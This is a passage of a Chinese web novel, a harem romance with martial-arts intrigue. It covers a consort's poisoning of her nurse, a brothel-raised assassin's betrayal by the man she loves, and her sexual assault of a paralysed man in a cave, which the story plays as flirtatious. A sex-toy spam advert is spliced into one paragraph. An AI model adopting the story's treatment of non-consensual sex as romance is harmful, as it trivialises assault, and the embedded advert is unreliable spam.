热门搜索






[玄幻]后宫好乱(全本)-1

  
【内容简介】君不见七只夫郎天上来,奔向后宫不复回。君不见,上穷碧落下黄泉,争宠之路艰且险。人生得意须尽欢,莫使香闺空对月。天生我色必有用,夫君散尽还复来。风云涌,后宫乱,七夫相争碧血流。醋海生波无限愁。

正文 楔子

昭阳历二一四年七月,东仪年仅三十六岁的睿武帝病危,皇后严氏一族及皇贵妃裴氏一族的争位大战由开始的暗流汹涌渐趋白热化。

七月十三,暴雨如倾,整个西武皇宫都沉浸在潮湿的阴冷中,就连富丽毓秀的流华宫都生生被这阴霾的天气罩上了一层颓色,沉沉的了无生气。

殿内,重重帘幕在夜风中轻曳,雨的湿润气息充盈了人的鼻端鬓边,四角宫灯幽暗,镶着红绿宝石的牡丹翠羽屏隐隐折射着迷离的光。

铺着隐纹红绸的桌上放着一瓶莲花,花瓣晶莹似雪,白润如玉,灯光给它的轮廓镀上浅金的微光,益发显得清艳出尘,不似凡花。

莲旁坐着一位披发素裙的年轻女子,虽是卸了妆的,然那矜贵孤傲之气却仿若来自骨血深处,无需任何陪衬便无形散发,加上肤光胜雪,眉宇绝色,正是当朝华硕皇贵妃,代出名将的将门之后裴氏一族长房长女,睿武帝皇长子燕瑝的生母,裴青瑶。

此刻,她正微微低眉,面无表情地看着自幼照顾自己长大,后来又陪嫁入宫的奶娘游氏在铺着华贵飞凤绒毯的地上,垂死挣扎。

五十几岁的妇人,因为一直保养得当,看起来只如四十几岁一般。然此刻,她痛苦地捂着自己的脖子,看着滚落身旁那只蓝玉碗,知道自己一生将完。

在求生的本能催动下,她抑着万蚁噬心的痛苦,匍匐着向裴青瑶爬过去,带血的唇角不住翕动,嘶哑道:“娘娘……娘娘……奴婢真的……真的没有说……”

今日上午,在去探望睿武帝的时候,裴青瑶再次和皇后严蕊发生冲突,期间,皇后曾带着似笑非笑的表情说皇长子怎么看都不像皇上。那时,她就知道要出事,但,她终究没有想到,自己一手带大的裴青瑶,会一言不发地置她于死地。

还有半年,还有半年她就可以出宫了,可偏偏在这个时候,皇帝病危。

裴青瑶嘴角扯出悲悯的弧度,眼底却冷硬如铁,声音温和如风,道:“也许吧,但是这样我更放心,因为以后,你也再不会说了。”

这是一个绝大的秘密,一旦被揭发,不仅她自己性命难保,整个裴氏家族也将毁于一旦,永无翻身之日。

本来十年前做完那一切之后,她就应该将所有知道这件事的人统统清除掉,但游氏是她的奶娘,是相伴了她整整二十一年的人,她一时心软,没舍得。

直到今日,她才知自己犯了多么严重的错误。将自己的一生,以及整个裴氏家族的命运,都交在一个出生低微的奴才手中,简直是愚不可及。

皇后今日既然能说出那番话,自然是心中有怀疑,所以,游氏,无论如何也留不得了。

游氏已经爬到裴青瑶脚边,颤抖着抓住裴青瑶银丝挽边的裙摆,断断续续道:“娘娘……您放过奴婢,奴婢保证……保证一辈子做哑巴……永远永远不出卖您……”

裴青瑶垂眸看着她,毫无一丝怜悯的,道:“你陪了我三十一年,你当知道我的脾性,我何曾相信过仅仅停留在言语上的忠诚?如今你以事实证明给我看,不是更好么?”

游氏定定地看着她,这个自己想当女儿却又从来不敢当女儿看待的女子,良久,突然微微一笑。

裴青瑶为她这突来的一笑而疑惑,然城府深沉的她早已习惯喜怒不形于色,故而,脸上还是一如既往的坦然和悠闲。

游氏嘴角已经开始不断渗出黑色的血沫,命在旦夕了,但她执拗地仰着头,看着裴青瑶,一字一句诅咒般道:“我早知你不会……履行对我的承诺,所以,我一早做了准备……本想,一命换一生,如今……显然是来不及了……裴青瑶,你欠我的,你会为此付出代价的……因为,你的女儿……将因为你的自私绝情而……一生不幸……”

听到“女儿”两个字时,裴青瑶眉头几不可见地微微一动,但终究没有太大的反应,目光淡淡看着地上的游氏,问:“你什么意思?”

游氏惨然一笑,道:“将来……自会有人来告诉你……悔之……晚矣……”说到此处,她的表情一僵,然后,脸颊重重地磕到地上。

裴青瑶看着地上的游氏,怔怔不语。半晌,叫来心腹将她的尸体拖出流华宫。

雨声喧哗,裴青瑶站在窗前,如玉素洁的纤指轻按有些潮湿的窗棂,仰头看着迷蒙一片的夜空,片刻之后,转身,关窗。

一个月之后,睿武帝驾崩,裴氏一族以迅雷不及掩耳的雷霆手段迅速扑灭贵胄出生重文轻武的严氏一族。与此同时,自幼习武的裴青瑶亲自率领心腹死卫关闭后宫之门,袭杀了皇后严蕊及其子燕榕,宫中依附皇后一族的嫔妃宫人也一概赐死。

昭阳历二一四年九月初八,年仅十岁的燕瑝登基,改国号为羲和,尊其母为明懿皇太后,三十一岁的裴青瑶,成为男权至上的昭阳大陆上第一位摄政太后。

而其弟裴邦卿受封琛王,成为东仪第一位异姓王,裴氏家族从名声显赫的武将之门一跃成为东仪首屈一指的贵族。

正文 勾引失败

昭阳历二二零年,西武九华山。

九华山有两绝三景,闻名天下。其中两绝指的就是山腰的月潇山庄和山下的逍遥大道。

月潇山庄是武林至尊玉氏一族的庄园,不仅风景秀丽且布局精巧,究竟布局有多精巧,无从考证,只听得传言说,有一次天降暴雨,将庄内的园景宫灯都淋灭了,一位在庄中服侍了近二十年的老仆人因而在庄中迷路,转了一夜愣是没找到来时的路。

而逍遥大道的历史远没有月潇山庄那么神秘悠久,它是两年前刚刚建起来的,要从山下九莲池去往月潇山庄,它是必经之路。

它之所以闻名遐迩,因为它有三最:赌坊最大,妓院最多,酒楼的菜最可口。

这是一个四月的黄昏,如血残阳照在逍遥大道平整的青石板上,将两侧建筑的影子拉得很长很长。

此时此刻,人们不是在赌坊豪赌就是在酒楼用餐,街道上因而显得有些空荡。

“嘡——”

一声锣响,成功地敲碎黄昏特有的静谧,远远地回荡在逍遥大道鳞次栉比的上空。

锣响过后,少女比蜜还甜比莺更脆的声音娇滴滴地喊道:“嗨,各位叔叔伯伯,哥哥弟弟,大家把耳朵竖起来听清楚了啊——

今晚戌时伴花眠二十八位倾国倾城的佳丽将免费为大家奉上见所未见闻所未闻的绝世歌舞颠鸾倒凤啊——

大家走过路过千万不要错过,过了这条街可就没有这个店了啊——

是男人一定要带着银子前来捧场啊——

不是男人就把耳朵堵上啊——

是男人却又假装没听见不来的干脆自宫算了啊——”

蓦然听到如此惊世骇俗的广告,两侧赌坊酒楼里的男人们面面相觑,然后不约而同地向门外窗口挤去,唯有那些常来的老客无动于衷,只因他们知道,在外面招摇过市的那人是谁。

秦璃月,逍遥大道最大的妓院伴花眠里的金牌教练,贪财好色,见丑男就踹,见美男就上的街痞霸王。

街尾渊明阁,相貌平常的黑衣少年闻声来到阳台向下一看,一身粉裙黑发如瀑的娇小女子已经走过楼前,手中提着一面铜锣,身后跟着一只毛色金黄的大狗,一面向街道那边走一面敲锣重复着他方才听到的话。

放眼看去,街道两旁不管是酒楼妓院还是赌坊,门前和阳台栏杆旁都挤满了看热闹的人,对着女孩指指点点,或是大声调笑。

女孩毫不羞涩,甚至在说完一段的间歇期还妖媚地向两旁的男人们回首打招呼:“大哥,一定要来啊,我等着你哦……”

“大叔,别赌了,留点银子晚上来乐乐多好……”

“爷爷,你还走得动吗?走不动叫你儿子扶着你来……”

“小弟弟,回去叫上你爹爹叔叔伯伯哥哥一起来哦,妈妈姐姐阿姨妹妹就免了啊……”

充盈耳膜的声音与记忆深处的那个声音慢慢重合,黑衣少年搭在栏杆上的手慢慢握紧,漆成绿色的圆木衬得那双手白皙如雪,与他面上暗黄的肤色截然不同。

少时,一名身着黑袍面容枯瘦的老者缓缓来到他身侧,行动间无声无息犹如鬼魅。

“五年前,盗走我玉佩的人,就是她。”少年目光如电,盯着街道上那抹渐行渐远的娇小身影。

黑袍老者顺着他的目光瞟了秦璃月一眼,面无表情道:“两刻之后,我们需得按计划离开此地。”

“不行!”少年倏然转身,不经意间,天生的霸气无形漫延。

黑袍老者表情淡定,不温不火道:“既然发现了她,拿回玉佩只是迟早,少主,别忘了,我们还有更重要的事。”

见少年还是一脸不甘,老者补充道:“我会派人盯住她。这里是月潇山庄的地盘,一有风吹草动,立刻会被我们的对手发现,到时候,太妃便危险了。”

听他提及母亲,少年眸中跳跃的怒气瞬间便平静了下来,他垂了眸,浓密的长睫颤动几下,一言不发转身回到楼中。

*

酉时末,伴花眠楼前挂起了八盏大红灯笼,映得门前亮若白昼。

楼中,原先放满大厅的桌椅早已被移至一边,空出一小片圆形的场地,粉头们正做着表演前的准备,璃月在一旁七手八脚地指挥着:

“桂花,你胸不大,待会就不要露了,改露肚脐吧。”

“玉兰,把裙子拉低一点,不要把你的天足露出来,更不要踩到客人,知道吗?”

“红牡丹,把你抹胸的带子系紧一点,待会跳舞的时候酥胸半露就可以了,你要敢全部露出来我就把它切掉,听见没有?”

“哎呀,黑牡丹,别再扑粉啦!看看你弄成什么样?本来就是要你这黑的风韵,你这么左一层右一层的刷墙呐,赶紧去洗掉!”

“芙蓉,把你的嘴擦擦,红得跟刚喝过血似的,吓不吓人?”

“啊,公子请进,谢妈妈,来客人啦!”

……

戌时,伴花眠果真嫖客盈门济济一堂。粉头们按照璃月的安排,衣衫不整地扭动着年轻妖娆的身体,媚眼暗抛,红袖频招,勾人无限,加上靡靡之音的从旁相衬,淫媚香粉的暗中催动,直叫一些好色之徒呆了眼迷了魂。

什么江湖豪情正义道德全都抛到温柔乡中昏睡去了,他们目露淫光口水直流,盯着姑娘们的样子就像盯着一群肥美小羊的色中饿狼。

老鸨谢娘在一旁喜得嘴角都咧到了耳朵根,心中直道:只要璃月这小丫头在,我伴花眠的招牌就永远不会倒。

秦璃月站在二楼暗处,双肘支在栏杆上,小手托着下巴,目光飘忽似笑非笑地看着楼下。

这就是她之所以喜欢妓院的全部理由了,只有在这里,人才会在欲望的支配下露出他们最最真实的一面。

在这里,没有尊卑,没有名利,有的只是,男人与女人最最原始的眼神和心跳。

她喜欢看妓院里的男人女人在一起打情骂俏,喜欢看妓院里的男人看着女人的那种饥渴目光和丑恶嘴脸,喜欢听□们在接客时那虚情假意的吟哦□……

她喜欢这种糜烂的气息,这让她觉得熟悉而惬意。她出生在妓院,只有被这种淫靡的气息和场景包围,她才觉得,其实大家都一样,她并没有什么不同。

男人离不开女人,她是男女结合的产物,仅此而已。

歌舞还在继续,有些客人已经按捺不住开始和舞池中的姑娘们拉拉扯扯挑逗调情,厅中的气氛越来越火热。

璃月突然觉得有些饿,准备带着她的檀郎(那只大黄狗)去厨房觅食,刚转身,便见一名容貌清秀的少年匆匆从过道那边向她走来。

此人名叫出岫,乃是月潇山庄二公子玉无尘的贴身随从。

璃月嘴角泛起醉人的微笑,问:“怎么?他又想我了?”

出岫笑着点头,道:“还请璃月姑娘不辞辛劳,移驾山庄。”

*

璃月一直不太明白,为什么玉无尘那家伙那么偏爱那种名为“雪皎”的茶花,偌大的临风馆,除了后崖上有那么一丛修竹和一株海棠之外,其余全被雪皎占满休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入。

三月末四月初,雪皎开得正艳,走进临风馆,恍若游进花的海洋。

月光下令人目醉神迷的美景中,璃月目不斜视地走向画云轩。于她而言,美好的东西不该有一模一样的第二件,因为多则生厌。正如她无法想象,这世上要是有一百个玉无尘,那会是什么情景?

呃……这个假设貌似有点恐怖,还是不要深思了。

如往常一般,出岫手提一盏浅粉色的琉璃灯在门口候着她。推开通往内室的门扉,一阵淡淡的杜若气息扑面而来,璃月扬起微笑,她就喜欢他的这个味道。

转过迎风漫卷的书画水纱,一室珠辉皎若明月。东墙下,雕刻精致的墨玉花架上,一只由夜明珠串成的小巧花篮如天上的一轮银月,给室内的一切都拢上一层温润的光辉,篮中,一束半开的雪皎花叶相映,秀美异常。

花架旁,整块青玉雕琢而成的长榻在夜明珠的光辉下泛着莹润的光芒。长椅上仰躺着一个人,雪色纱衣如云一般在青玉榻上倾泻下来,晚风拂过,垂下的衣角卷起水一般的波纹,纤尘不染。

他一腿支在榻上,一腿伸直,赤着的双足在青玉的映衬下泛着秋霜一般通透的色泽,修长素净的手指捏着几张泛黄的书卷,挡住了他的脸。

九华山三大绝景——山无陵,水无纹,玉无尘。这么乍一看,嗯,或许还真是名不虚传。

可如此风雅的场景,如此幽宁的春夜静室,那一丝不见停歇仿若老鼠嚼谷一般的“咯吱咯吱”声又从何而来呢?

璃月忍着笑,伸出足尖拱了拱身旁的檀郎。

檀郎会意,四只爪子踩在软绵绵的地毯上,无声无息地走到青玉榻前三步远,然后,“汪!”

九华山三大绝景之一的无尘公子弹簧一般毫无形象地跳了起来,随着他的起身,一只精致的琉璃盏从榻上滚落下来,雪白晶莹的糖莲子洒了一地。

檀郎毫不客气,立刻上去大快朵颐。

“哈哈哈!”

玉无尘大眼巴眨巴眨,嘴角还粘着白色糖屑,那惊慌狼狈的样子让璃月捧腹大笑,踉跄着跌坐到一旁的椅子上。

如果世人知道无尘公子还有这样孩子气的一面,不知谈起他时,还会不会再一脸艳羡迷醉的表情。

调笑一会儿,言归正传。璃月扫了眼玉无尘递过来的任务详单及地图,目光重又定在玉无尘那美绝人寰的俊脸上。

玉无尘见状,拿起看到一半的暗器秘籍《千山暮雪》挡住自己的脸,带着笑意的声音清亮而柔和:“不要那样看着我,人家会脸红。”

璃月走过去,拨开他挡着脸的书页,大喇喇地跨坐在他腿上,双手搂住他的脖子。

这样的动作,寻常人即便借上一百个胆子也决计不敢对玉无尘做出来,但璃月不是寻常人,玉无尘救过她,她喜欢玉无尘,心甘情愿当他的专职杀手,他们在一起已经五年了。

璃月看着这张令自己魂牵梦萦的脸,抑着内心因他而起的悸动,爱娇地嘟起粉唇,问:“这次完成任务,你奖我什么?”

玉无尘目光清灵如水,宠溺地看着坐在自己膝上的女孩,问:“你想要什么?”

“我要什么你就给什么吗?”璃月乌眸清澄,继续撒娇。

“嗯。”向来喜欢和她讨价还价的他这次却爽快地令她有些不敢置信。

璃月放开搂着他脖子的双臂,纤纤玉指轻轻擦过他的唇角,勾起一丝他适才没有擦净的糖屑,目光娇媚地睨着他,将沾着糖屑的食指探入自己口中,抿起粉唇轻轻吮吸。

豆蔻年华的绝美少女,坐在自己腿上做出如此勾人的举动,换做一般人,只怕早拥入怀中狠狠吻住那作怪的小嘴了。

玉无尘却只看着她浅笑。

勾引宣告失败,璃月有些无趣地抽出手指,道:“我要你一个吻,你应么?”

玉无尘偏首想了想,最后在璃月挑衅的目光中轻轻吐出两个字:“应你。”

正文 初恋背叛

五月二十,阴雨绵绵。

春景如画的九莲池沉浸在潮湿的黄昏中,平整的青石街道上泛着一层白蒙蒙的水汽,没有一个行人。人们倚在门侧窗口,三两成群,眼神闪烁。

黑色骏马风一般地驰过,哒哒的马蹄声遥远而又空灵,人们探首去看,模糊的人影却早已淹没在迷雾般的雨丝中。

璃月浑身湿透地回到伴花眠,进门便听说昨夜有血影宫的人潜入了九华山,还没抓到,现在九华山包括山下的九莲池以及逍遥大道都戒严了,严禁任何人随意走动。

血影宫是月潇山庄的死对头,双方以西武境内的绯水为界,分别控制着西武的东西两壁。血影宫的人怎会到九华山来?活得不耐烦了么?

不过眼下璃月却无心顾及这些,她一言不发地回到楼上自己的房间,关上门,站在铜镜前,慢慢褪下了湿透的衣衫。

镜中的少女身姿曼妙玲珑窈窕,浑身肌肤如雪似玉,没有一丝瑕疵,然左肩上却趴着一个三角形的伤痂,看样子,是新伤。

璃月看着那道伤疤,心中又冷痛起来。

她不过要他一个吻,他却叫她用性命来换。

让她刺杀血影宫地坛副坛主姚琮,等她赶到他的老巢黎母山时,等待她的却是近五十人的埋伏和为她准备的千面绝杀阵。

她不止一次听说过这个阵,当今世上,能活着从阵中出来的只有两个人,一个是玉无尘的大哥玉九霄,另一个是四年前号称天下第一杀手的东仪慕容世家四公子慕容倦,不过三年前他病逝,如今加上她秦璃月,还是两个人。

这些年,随着她的频频出手,她在江湖上声名鹊起,因无人见过她的真面目,江湖中人给她起了个绰号,叫做“万里追魂独孤朔月”。

玉无尘用她这个名号,将姚琮的注意力完全转移到她这边,而他派去的另一股人马则趁此机会进入姚琮家中盗走了一副重要地图。

从一开始她就是他的弃子,他料定了她有去无回,所以,对她临行前的要求才答应的那般爽快。

可惜,他对她还是不够了解,至少,对她的实力还不够了解。

梳洗一番后,她挑了件烟霞银罗花绡纱长裙,外披一件淡银色弹花暗纹罩纱。拉开妆台下设计精巧的三层屉台,从令人眼晕的各色珠宝首饰中挑了一支红宝石南珠镶嵌而成的踏雪寻梅簪,再配上一对红翡翠滴珠耳环,原本清艳明丽的少女立时多了一分妩媚的风致。

站起身,在铜镜前轻轻旋一个身,看着镜中美如镜花雾月的少女,她垂下眸,拿一把红色的油纸伞,向楼下走去。

雨势如倾,她撑伞走出伴花眠的大门,侧身唤坐在台阶旁的大黄狗:“檀郎,跟我来。”大黄狗摇着尾巴,跟在她身后,很快消失在迷蒙的雨雾中。

淫雨霏霏,暗夜戚戚,山庄外玉九霄正指挥着庄众四处搜寻血影宫的人,风声鹤唳草木皆兵,而繁花落尽的临风馆却一片静谧。

璃月撑着伞,缓缓走过蜿蜒曲折的花间小道,素白长裙在潮湿的风中轻卷,又被草叶上的雨珠浸湿。

画云轩中透着一丝微光,门前却并没有人。

将伞倚在门侧,吩咐檀郎在门外等她。璃月推开门,轻捋一下颈侧的发丝,走了进去。

室内,除了夜明珠花篮空了之外,一切都没有变。

玉无尘依然仰躺在青玉榻上看书,甚至连姿势都和上次一模一样,静谧温香的空气中仍然充斥着“咯吱咯吱”的轻响和糖莲子的清香。

然心情却已与上次迥然不同。

璃月在他对面的椅上落座,一手撑在扶手上,托着颊侧看着他。

看完一页,他移开书卷,露出那张令人百看不厌的俊美脸庞,清粼粼暖洋洋的目光往门口逡巡一下,粲然一笑,问:“檀郎没来?”

“嗯。”璃月看着他,第一次发现,原来他的笑也可以这样陌生,因为她真的看不透,他的微笑背后,究竟隐着什么样的情绪。

他看起来若无其事。

“你不喜欢我?讨厌我?恨我?”璃月伸手把玩着身旁案上用来装糖果的七彩琉璃盏,眉眼不抬地问。

“你怎会这样想?”他好奇。

“不是么?”她挑眉看他。

“当然不!”他笑着否认。

“那你为什么让我去送死!”璃月突然发飙,抡起手中的琉璃盏向对面的玉无尘狠狠砸去,玉无尘微偏了偏首,琉璃盏擦着他的鬓发飞过,砸在他身后贴着玉片的墙上,碎了一地。

璃月眸中怒焰燃烧,灿若星辰,胸口因激动而不停地起伏。

相较而言,玉无尘则平静得多。唇角的微笑不变,他道:“你不是回来了么?我对你一向有信心。”

看着他唇角的笑容,璃月的心一下安静下来,死寂般的安静。

五年了,她自以为对这个让她心动的男人很了解,她知道他爱吃甜食,知道他最讨厌芹菜,知道他善于经商,知道他深藏不露,却独独忘了,他更善于伪装。

这一刻,她突然觉得自己很悲哀,只因她是真的喜欢这个自己从未看透过的男人。

心仿似放在腊月的风中,冷痛难熬,她觉得自己就快忍不住翻腾的泪意了,而她,不想在他面前哭,不想让他更加地看不起她。

所以她抑着心痛,强迫自己勾起与他一般无二的微笑,缓缓走到他身前,微倾下身子,双手按在他肩上,抬腿跨上玉榻,以面对面的姿势骑坐在他腿上,吐气如兰:“我来取我的报酬。”

他不言语,也不挣扎,算是默许。

她肖想已久的淡色薄唇此刻近在咫尺,且因为主人的承诺而可以任她品尝。若是以前,她也许还会有微微的羞涩,因为毕竟是第一次,而他又是她心仪之人。

但此刻……

她毫不迟疑地俯过脸去,一口咬住他的下唇,用力地舔舐吸吮,毫不温柔。

她一直以为第一次亲他,口中心中一定会是甜的,如今方知,这原是世上最苦的一剂药,尝在口中,痛在心上,苦进灵魂深处。

他从未爱过她,他只是在利用她,为了达到自己的目的,他甚至可以置她的性命于不顾。

她伸手捧着他的脸,一遍又一遍地吮咬他的双唇,极尽凌虐之能事。

玉无尘,呵,天下第一庄的二公子,玉氏商团的一把手,世人谓之有财又有貌的神仙中人。

他一定不曾被人如此对待过。

榻上这一幕,外人看去也许会以为是情人间的情不自禁耳鬓厮磨,但个中滋味究竟如何,只有他们自己知道。

他随时能要了她的命,而她,亦如是。

他不动,任由她粗暴地在他唇上辗转吮咬,肆意蹂躏。

良久,她含着他的下唇,狠狠一咬,然后松开了他。

他的唇前所未有的殷红肿胀,下唇被她咬破了,鲜血丝丝沁出,衬着他玉白的面庞,透出一种致命的妖娆。

“满意了?”他语气平静。

“马马虎虎。”她盯着他的唇,看那血丝慢慢地渗入嘴角,顿了顿,又问:“想杀我么?”

“不想。”他答得干脆。

她抬起眸,菱角小嘴上还沾着他唇上的血,笑得妖媚而冷遂:“那我可就走了。”

他不语,只看着她。

她从他腿上下来,似有些疲惫地伸个懒腰,转身欲走,却又停住,侧脸看着他,问:“你究竟为何这样对我?”

刚问完,不待他回答,她却又转过脸去,甩甩衣袖道:“算了,我不想知道。”言讫,头也不回地出了门。

雨还在下,她撑着伞,带着檀郎扬长而去。

出了月潇山庄,她再也控制不住内心蓬勃涌动的伤心和苦痛,鼻子一酸眸中一热,某种久违的液体便决堤而出。

她放手,任由手中的伞被风吹走,冰冷的雨丝不消片刻便浇透了她,也冲去了她颊上的泪。

五年来与他在一起的点点滴滴,欢喜的,嗔怒的,感动的,惆怅的……纷乱地挤上她的心头。以往每次看到他便梗塞于心不吐不快而又拼命隐忍的那句话,此刻却化作最最尖利的一把刀,劈碎她坚强的外壳,狠狠地伤了包裹其中的柔软自尊。

有生以来,有两个人伴她最久,第一个是她的娘亲,在她身边呆了七年,第二个便是他,与她共度了五年的时光,如今,却要再次诀别。

如非他真的伤透了她,她不会舍得。

她闭眼仰头,咬着唇不让自己哽咽出声。

能挺过去的,一定能挺过去的,不就是个负心人么?不就有副好皮囊么?两条腿的蛤蟆不好找,两条腿的男人到处都是,她不在乎。

可……为什么心这么痛,痛得简直如十年前一样,此番她该如何排解?再去跳崖么?

“呜呜——”通人性的檀郎见自己的主人一动不动地站在雨中发愣,忍不住咬着她的裙摆哼了两声。

璃月应声低头,看着如她一般浑身湿透却不离不弃的大黄狗,叹了口气,道:“走吧。”

深一脚浅一脚,极度的心痛让她意识有些朦胧,根本不知道自己是在往哪走。

整山戒严么,与她何干?她在这里五年,谁不知道她是玉无尘的人,谁敢拦她?

如今想来,一切都悲哀到可笑。

“呜呜——”茫然间,檀郎突然又开始扯她的裙摆,她强自集中起思绪,抬头一看。

四周密林参天,一片昏暗,雨打在树梢上沙沙作响。

她这是走到哪了?后山么?

来不及多想,她目光追着檀郎的身影向一旁看去,昏暗的夜色中,隐约看到不远处的树根后露出一双脚。

檀郎不吠,证明此人不论是生是死,长相应该不错。檀郎跟在她身边三年了,深谙她的脾性,看到美男它一般都来扯她去看,看到丑男则毫不客气地一顿狂吠。

她走到那人身边,黑暗中她看不清他的脸,只隐约看到他眸光微亮。

看到她走近,那人呼吸滞了一下,却没有动。

狂乱的雨势被树梢所挡,只有星点的水滴沿着树叶向下坠落。无声的静默中,一缕若有似无的甜香缓缓漫延。

这个味道……璃月眉头一皱,飞梅弄晚?

飞梅弄晚是玉无尘的独门暗器,上面涂有他自己研制的超强麻药,中者眨眼间便会瘫软如泥不能动弹。

而这个人竟然能中了飞梅弄晚还逃到此地?简直令人不可想象。

许是他命不该绝吧,如非今夜大雨,即便他逃到此处,庄中的狼犬循着那丝甜香不消一炷香的时间就能找到他。

她心情低落,本无心管闲事,然看到此人乃是玉无尘欲抓之人,她又来了兴趣。

不管他是谁,玉无尘要抓他,她就偏要救他。

虽然心知他应是动弹不了才会倒在此处,然为了保险起见,她还是出手如电,迅疾地点了他胸前几大穴道,这才放心地背起他,辨了辨方向,向后山密林更深处走去。

正文 洞中旖旎

幽僻隐秘的后山石洞中,燃着一小堆篝火。

檀郎紧挨着篝火烤毛。

璃月坐在篝火旁,垂着眸,湿透的长发紧贴在她的背上,不是很舒服。

心还在一阵阵的抽痛,她必须得做些什么转移一下自己的注意力,因为这种感觉真的太难熬了。

她转身回眸,看向靠在石壁上的那个与众不同的少年。

之所以说他与众不同,主要是指三个方面:

第一,他的衣着。黑色的料子,不知是什么质地,表面泛着金属般冷硬的光芒,样式有些像箭袖,却又不完全像,襟口袖角的纹饰简单却又异常精致。束腰的金属腰带足有一尺宽,完美地贴合着他窄腰的弧度,契合出一种诱人的曲线,使他整个人看起来就像就像临风一枝劲竹,修长,强韧。

第二,他是短发,细碎的发丝苍羽一般覆在他的额角鬓边,给他原本清秀的瓜子脸型平添了一丝野性。

第三,他的武器似是一把呈“S”的日月弯刀,这种武器璃月只在兵器谱上看见过,长这么大还是第一次见到实物。他把刀别在背上,从她这个角度看去,只在他的左肩头和右侧胯旁看到两点雪亮的刀锋。

璃月唇角泛起微笑,她向来对独特的东西兴趣浓厚,更何况,这个看起来绝对不满二十的少年长得委实不赖,额上细碎却又自成风韵的发丝下,双眸长而亮,透着与众不同的魅惑神采。

他静静地坐在那里,身形清俊呼吸浅浅,像是个来自暗夜的妖精,冷艳而又勾魂,诱人犯罪。

看着他几乎不逊于玉无尘的俊美脸庞以及那肖似玉无尘的平静眸光,璃月心中突兀地升起一种冲动。

她走到他身边,蹲下身子,将他背在背上的弯刀取下来放到一边,然后伸手轻轻触摸他的脸颊。

肤触细腻而平滑,璃月有些受到蛊惑,偎着他坐下,纤纤玉指顺着他笔直俊挺的剑眉一路向下,滑过他高挺的鼻,落在他淡红色的唇上。

他的唇比玉无尘的丰润一些,形状也很完美,指腹按上去只觉得软软的,热热的。

玉无尘,了不起么?姑奶奶我随便走走就能捡到个跟你不相上下的。璃月负气地想。

出一回神,她抬眸看向少年,却发现被她摸了这半晌,他仍然眼神平静面无表情。她并没有点他的哑穴,他却惜字如金,摆明了不想跟她讲话。

视她于无物?要不是她把他背到这里,此刻他还冒着随时可能被发现的危险躺在后山淋雨呢!

这样的认知让她瞬间着恼,不过眸光一转扫到他的唇,她忽而笑了。

且让她看看,他这份平静,能保持多久。

她翻身跨坐在他腿上,上半身紧贴着他的胸膛,搂着他的脖子,一言不发用自己的唇封住了他的唇。

少年眸中闪过一丝震惊,一闪即逝,璃月没来得及捕捉,此刻她也无暇捕捉。

他的唇柔软光滑,一如外表看起来的那般美味。想起适才在临风馆的一幕,她心中再次翻腾起来,不再满足于浅尝辄止,她试图用舌尖抵开他的牙关,以便继续更深入的探索。

他紧咬不放,以至于她一时不能得逞。

她放开他的唇,转而看向他的脸,却见他目光如刀,深邃的眸子带着嗜血的黑暗色彩,冷冰冰地看着她,冰冷的杀气因而在他身周无形蔓延,竟令璃月不由自主地打了个冷战。

全身麻木还能散发出这样强势慑人的血腥气场,此人的来历,定不简单。

若是常人,定会被他凛冽的气势镇住,可惜,璃月不是常人。

她趴在少年宽阔的胸膛上,像只小猫般仰头看着少年微微笑,道:“看得出来,你不是那种谁都能上的。可是……现在你动弹不了,而我又很无聊,怎么办呢?”

少年目光又冷了几分,盯着她不语。

璃月垂下眼睫,小手抚上他的胸膛,隔着衣物感受着他里面的肌理起伏,诱哄一般道:“不如,你将就一下,从了我吧。”

少年表情不变,内心却惊诧万分,纵横江湖近十年,他从未想过,原来这世上还有女色魔!更未想过,自己有一天会这样毫无反抗之力地躺在一个女人身下,任她为所欲为。

终是他大意了,以为玉无尘只会经商不通武功,孰料,他发射暗器的速度和准头,竟是他平生仅见。

此番,也不知能不能逃过这一劫?如果不能,那血影宫……

正想着,冷不防耳根处一阵麻痒,他一惊,陡然回神,发现骑在他身上的女孩正含着他的耳垂轻轻吸吮。

她吸他的耳垂做什么?该不会是哪种邪术吧?从未有过情事经验的少年强忍着因她的吮吸而带来的那种奇怪感觉,在脑海中将自己所涉猎过的武学典籍都翻了一遍,没有找到类似的记载。

“不说话就是默许,我不客气了。”女孩低笑着,火热的气息轻轻地喷在他耳边,湿软的舌却顺着他的耳根一路向下,在他颈上调皮地到处乱滑,让他痒得要命,如果不是心中极度气愤,他几乎会因此笑出来。

璃月从小出生于妓院,最近几年在逍遥大道又一直混迹在妓院,对于女人挑逗男人的本事,不用刻意去学,日日耳濡目染也会的差不多了。

本来,她想把这些技巧用在玉无尘身上的,可惜,没必要了。

原先,她以为一个男人除了相貌出众讨她喜欢之外,性格脾气是否合她胃口也很重要。

但,她用了整整五年都没能看透她中意的那个人,今后,也不必在试图了解男人这一点上浪费时间了。

一个男人,入目的第一眼觉得惊艳,并能勾起她对他下手的欲望,那便足够了。

其实在妓院的时候,她早就看透了,男人不过是受欲望支配的动物,根本没必要对他们付出真情,只是玉无尘……让她迷失了。

这样彻底地伤一次也好,起码能让她以后活得清醒一些。

身下这个男人皮肤很好,而且在这般狼狈的情况下,他身上却还隐隐传来一丝皂香,可见,他很爱干净。

她喜欢爱干净的男人,如果一个男人邋里邋遢,即便貌若天仙,她也不会有兴趣的。

在他脖颈上制造了七八个小红印后,她十分不甘且懊恼地直起身子,一边与他的腰带奋斗一边抱怨:“穿的什么破衣服啊,这么难解。”

少年盯着她,只觉所有的血都涌上了脑门。

自出生以来,即便沐浴,他也从不让侍女在旁边伺候。而今,他却即将被一个陌生女人扒光衣服,而扒光衣服后会发生些什么,不难想象。

对于一个男人来说,还有什么会比被一个陌生女人强上更称得上奇耻大辱?

尤其是,他根本不好女色,至少,到目前为止,他没有沾过女色。

胸口气闷地几乎要爆炸,却又无可奈何。他干脆闭上双眸,就当自己已经死了。

腰带松了,紧接着,胸口一凉。

不用睁眼也知道,她正盯着他。

明明气得要命,可不知为何脸颊却烫了起来,这种奇怪的现象,以前从未有过。

璃月瞠圆了乌黑的眸子,看看他肌肉发达的胸膛,再看看他秀气的瓜子脸,有些怀疑,这风格迥然的脸庞和身子,真的是属于同一个人的么?

